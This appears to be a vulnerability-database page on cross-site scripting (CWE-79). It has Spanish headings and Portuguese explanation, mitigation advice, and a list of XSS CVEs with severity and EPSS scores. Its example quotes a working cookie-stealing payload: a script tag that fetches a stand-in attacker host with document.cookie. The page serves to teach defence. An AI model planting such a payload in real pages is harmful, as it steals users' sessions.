Fallos del tipo CWE-79

28.831 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-1568LOWSourceCodester Student Study Center Desk Management System GET Parameter index.php cross site scriptingEPSS 0.6%CVE-2021-24250—Business Directory Plugin < 5.11.2 - Authenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-32173—OrchardCore - HTML InjectionEPSS 0.6%CVE-2022-48326MEDIUMMultiple Cross Site Scripting (XSS) vulnerabilities in Mapos 4.39.0 allow attackers to execute arbitrary code. Affects the following parametEPSS 0.6%CVE-2023-0106CRITICALCross-site Scripting (XSS) - Stored in usememos/memosEPSS 0.6%CVE-2022-41330HIGHAn improper neutralization of input during web page generation vulnerability ('Cross-site Scripting') [CWE-79] in Fortinet FortiOS version 7EPSS 0.6%CVE-2022-40313HIGHRecursive rendering of Mustache template helpers containing user input could, in some cases, result in an XSS risk or a page failing to loadEPSS 0.6%CVE-2024-57030HIGHWegia < 3.2.0 is vulnerable to Cross Site Scripting (XSS) in /geral/documentos_funcionario.php via the id parameter.EPSS 0.6%CVE-2023-20133MEDIUMA vulnerability in the web interface of Cisco Webex Meetings could allow an authenticated, remote attacker to conduct a stored cross-site scEPSS 0.6%CVE-2020-5346MEDIUMRSA Authentication Manager versions prior to 8.4 P11 contain a stored cross-site scripting vulnerability in the Security Console. A maliciouEPSS 0.6%CVE-2024-3531LOWCampcodes Complete Online Student Management System courses_view.php cross site scriptingEPSS 0.6%CVE-2019-15607—A stored XSS vulnerability is present within node-red (version: <= 0.20.7) npm package, which is a visual tool for wiring the Internet of ThEPSS 0.6%CVE-2023-2076LOWCampcodes Online Traffic Offense Management System Users.phpp cross site scriptingEPSS 0.6%CVE-2022-1932—Rezgo Online Booking < 4.1.8 - Reflected Cross-Site-ScriptingEPSS 0.6%CVE-2022-48111MEDIUMA cross-site scripting (XSS) vulnerability in the check_login function of SIPE s.r.l WI400 between version 8 and 11 included allows attackerEPSS 0.6%CVE-2023-43344MEDIUMCross-site scripting (XSS) vulnerability in opensolution Quick CMS v.6.7 allows a local attacker to execute arbitrary code via a crafted scrEPSS 0.6%CVE-2022-39049LOWPossible XSS in Admin InterfaceEPSS 0.6%CVE-2026-73043CRITICALSiYuan before v3.7.4 Remote Code Execution via Template CalculationEPSS 0.6%CVE-2021-24622—WP Ticket < 5.10.4 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-30790MEDIUMMonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application via CSTI in the `people:id/relatEPSS 0.6%